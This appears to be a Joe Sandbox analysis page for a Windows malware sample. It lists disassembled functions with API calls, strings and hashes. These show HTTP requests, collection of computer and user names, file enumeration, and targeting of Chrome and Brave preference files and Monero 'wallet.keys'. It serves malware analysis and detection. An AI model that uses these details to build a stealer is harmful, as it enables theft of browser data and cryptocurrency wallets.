APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB6280: InternetOpenA.WININET(00FD0DFE,00000001,00000000,00000000,00000000), ref: 00FB62E1
Part of subcall function 00FB6280: StrCmpCA.SHLWAPI(?,00DEEA08), ref: 00FB6303
Part of subcall function 00FB6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB6335
Part of subcall function 00FB6280: HttpOpenRequestA.WININET(00000000,GET,?,00DEE100,00000000,00000000,00400100,00000000), ref: 00FB6385
Part of subcall function 00FB6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FB63BF
Part of subcall function 00FB6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FB63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5228

Strings

ERROR, xrefs: 00FC521A
ERROR, xrefs: 00FC5273

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 125695dd08d501fe21d1d846b4fcc015415a0b6bfe5de77bae986e875a908152
Instruction ID: 5ca118c45b310877e2c0459afa5c05bb17a3a3ae7f73012344c495b8d407527b
Opcode Fuzzy Hash: 125695dd08d501fe21d1d846b4fcc015415a0b6bfe5de77bae986e875a908152
Instruction Fuzzy Hash: B711F830900009ABCB18FB61DE57FED7378AF50304F80415CA81A4A192EF38BB15EA92

Function 00FB1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FB112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00FB1132
ExitProcess.KERNEL32 ref: 00FB1143

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d435aa593cec33fc1fd0b6295fb9b58112fa3b547148d7639fa6e33461f4167c
Instruction ID: 75fcfaf015bf4fbe6b0a833dae08aef115dd6222ef7aaf758c1723f241da6c4d
Opcode Fuzzy Hash: d435aa593cec33fc1fd0b6295fb9b58112fa3b547148d7639fa6e33461f4167c
Instruction Fuzzy Hash: 16E08670945308FBE7246BA1EC1AB48767CAF04B02F500158F70D771C4C6F926419B98

Function 00FB10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00FB10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00FB10F7

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 71573933745f1eb47203e8541e2dc4b82e19289bd1f56df2ed43b17e965b6a6b
Instruction ID: 29e7c0a3c31356872067b4a712dc2bd80a180e28e6d9c327df7fc4f59da43341
Opcode Fuzzy Hash: 71573933745f1eb47203e8541e2dc4b82e19289bd1f56df2ed43b17e965b6a6b
Instruction Fuzzy Hash: C5F0E971641204BBE71496A4AC59FAAB7D8E705B55F300458F504E3280D5726E40DB50

Function 00FB1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FC78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7910
Part of subcall function 00FC78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7917
Part of subcall function 00FC78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FC792F

Part of subcall function 00FC7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FB11B7), ref: 00FC7880
Part of subcall function 00FC7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7887
Part of subcall function 00FC7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FC789F

ExitProcess.KERNEL32 ref: 00FB11C6

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: aa463097211b01f82bfbf8afeb958f92abd3c5947cd00f96500ef05ef328490a
Instruction ID: fef84329eaefb41e387e83d8ea625990b8a309eb7f32de4e446d5221c0077e09
Opcode Fuzzy Hash: aa463097211b01f82bfbf8afeb958f92abd3c5947cd00f96500ef05ef328490a
Instruction Fuzzy Hash: 1AE0C2B5D0030223CA1433B6BD0BF2A328C6F40385F20043CFA09C3142FA2DF801AA64

Non-executed Functions

Function 00FC38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FC38CC
FindFirstFileA.KERNEL32(?,?), ref: 00FC38E3
lstrcat.KERNEL32(?,?), ref: 00FC3935
StrCmpCA.SHLWAPI(?,00FD0F70), ref: 00FC3947
StrCmpCA.SHLWAPI(?,00FD0F74), ref: 00FC395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC3C67
FindClose.KERNEL32(000000FF), ref: 00FC3C7C

Strings

%s\%s, xrefs: 00FC397A
%s%s, xrefs: 00FC3AAD
%s\*, xrefs: 00FC38C0
%s\%s, xrefs: 00FC3A6F
%s\%s\%s, xrefs: 00FC3A4A

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: ba182901db47596e9b79da6e8ded2ee83e8ea1025b9762fcb7fbf4ceaf1666a8
Instruction ID: c62026397b93f8216f1dd746fd78770f126d087a5ce45314ee59ba41ac5db0c8
Opcode Fuzzy Hash: ba182901db47596e9b79da6e8ded2ee83e8ea1025b9762fcb7fbf4ceaf1666a8
Instruction Fuzzy Hash: 36A17FB29002099BCB34DB64DD85FEE7379BF88300F04859CA51E97145EB79AB84DF62

Function 00FBBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00FD0B32,00FD0B2B,00000000,?,?,?,00FD13F4,00FD0B2A), ref: 00FBBEF5
StrCmpCA.SHLWAPI(?,00FD13F8), ref: 00FBBF4D
StrCmpCA.SHLWAPI(?,00FD13FC), ref: 00FBBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBC7BF
FindClose.KERNEL32(000000FF), ref: 00FBC7D1

Strings

Preferences, xrefs: 00FBC11E
Google Chrome, xrefs: 00FBC634
\Brave\Preferences, xrefs: 00FBC1DB
Brave, xrefs: 00FBC102

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 7b39ac6b48869e953637f47cdd7562824a5b895ebce1593deb53070dc9e3c705
Instruction ID: 888022208d8e9f505e44632e9c1d8908fba4658c84a20a0da29e4efb9578a1cf
Opcode Fuzzy Hash: 7b39ac6b48869e953637f47cdd7562824a5b895ebce1593deb53070dc9e3c705
Instruction Fuzzy Hash: 97423372910109ABCB14FB60DE57FEE7379AF84304F40456CB50A96181EF38AB49DBA2

Function 00FC4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FC492C
FindFirstFileA.KERNEL32(?,?), ref: 00FC4943
StrCmpCA.SHLWAPI(?,00FD0FDC), ref: 00FC4971
StrCmpCA.SHLWAPI(?,00FD0FE0), ref: 00FC4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC4B7D
FindClose.KERNEL32(000000FF), ref: 00FC4B92

Strings

%s\%s, xrefs: 00FC49A4
%s\*, xrefs: 00FC4920
%s\%s, xrefs: 00FC49FB

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: f30308f027a39617137692dff5ee270b890f600c17fcf94aa4306e2f7e3e8cfd
Instruction ID: b256ce09fea5d03e95b49bf998b88d215fea6dcdc373a78405179b4abdd88d4c
Opcode Fuzzy Hash: f30308f027a39617137692dff5ee270b890f600c17fcf94aa4306e2f7e3e8cfd
Instruction Fuzzy Hash: EB6162B2900219ABCB34EBA0EC45FEA737CBF48701F04459CA51E92144EB75EB859FA1

Function 00FC4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FC4580
RtlAllocateHeap.NTDLL(00000000), ref: 00FC4587
wsprintfA.USER32 ref: 00FC45A6
FindFirstFileA.KERNEL32(?,?), ref: 00FC45BD
StrCmpCA.SHLWAPI(?,00FD0FC4), ref: 00FC45EB
StrCmpCA.SHLWAPI(?,00FD0FC8), ref: 00FC4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC468B
FindClose.KERNEL32(000000FF), ref: 00FC46A0
lstrcat.KERNEL32(?,00DEE9F8), ref: 00FC46C5
lstrcat.KERNEL32(?,00DECF10), ref: 00FC46D8
lstrlen.KERNEL32(?), ref: 00FC46E5
lstrlen.KERNEL32(?), ref: 00FC46F6

Strings

%s\%s, xrefs: 00FC461B
%s\*, xrefs: 00FC459A

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 636eb5ecac864942893d45a8e4d246a0fba78e61008c2c3202153b78795fb265
Instruction ID: 4ec28969c1416ef91c83388230d4b44ef6f5b1d6dd14ae7b5fb5e35340e45804
Opcode Fuzzy Hash: 636eb5ecac864942893d45a8e4d246a0fba78e61008c2c3202153b78795fb265
Instruction Fuzzy Hash: 675155719002189BC724EB70DD9AFE9737CAF58700F40459CB51E92144EB79AA859F91

Function 00FC3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FC3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00FC3EDA
StrCmpCA.SHLWAPI(?,00FD0FAC), ref: 00FC3F08
StrCmpCA.SHLWAPI(?,00FD0FB0), ref: 00FC3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC406C
FindClose.KERNEL32(000000FF), ref: 00FC4081

Strings

%s\%s, xrefs: 00FC3EB7

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 0bd13d4d57dfce75044853c128eee5379e8ea7ab957c78e8ff8eef99fe9bf381
Instruction ID: e913659a028f83bc401e1e495bc58ed9fdb62bf2d618f445fbbb980fbc5c2686
Opcode Fuzzy Hash: 0bd13d4d57dfce75044853c128eee5379e8ea7ab957c78e8ff8eef99fe9bf381
Instruction Fuzzy Hash: FB5165B2900219ABCB24EBB0DD46FEA737CBF48700F44459CB25D92044DB79AB859F61

Function 00FBED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FBED3E
FindFirstFileA.KERNEL32(?,?), ref: 00FBED55
StrCmpCA.SHLWAPI(?,00FD1538), ref: 00FBEDAB
StrCmpCA.SHLWAPI(?,00FD153C), ref: 00FBEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBF2AE
FindClose.KERNEL32(000000FF), ref: 00FBF2C3

Strings

%s\*.*, xrefs: 00FBED32

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: c34352d4309462fda64fe1d2c582d264190d71829043d09ec0ae9ba8aee2cf0b
Instruction ID: cbf3a044b7df04cac8de88851e8214f8e582ec873fa55d7201688fc508f6f69c
Opcode Fuzzy Hash: c34352d4309462fda64fe1d2c582d264190d71829043d09ec0ae9ba8aee2cf0b
Instruction Fuzzy Hash: F5E1BD7191111D9AEB68EB60DD53FEE7338AF54304F4041ADB50A62092EE387F8AEF51

Function 00FBF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
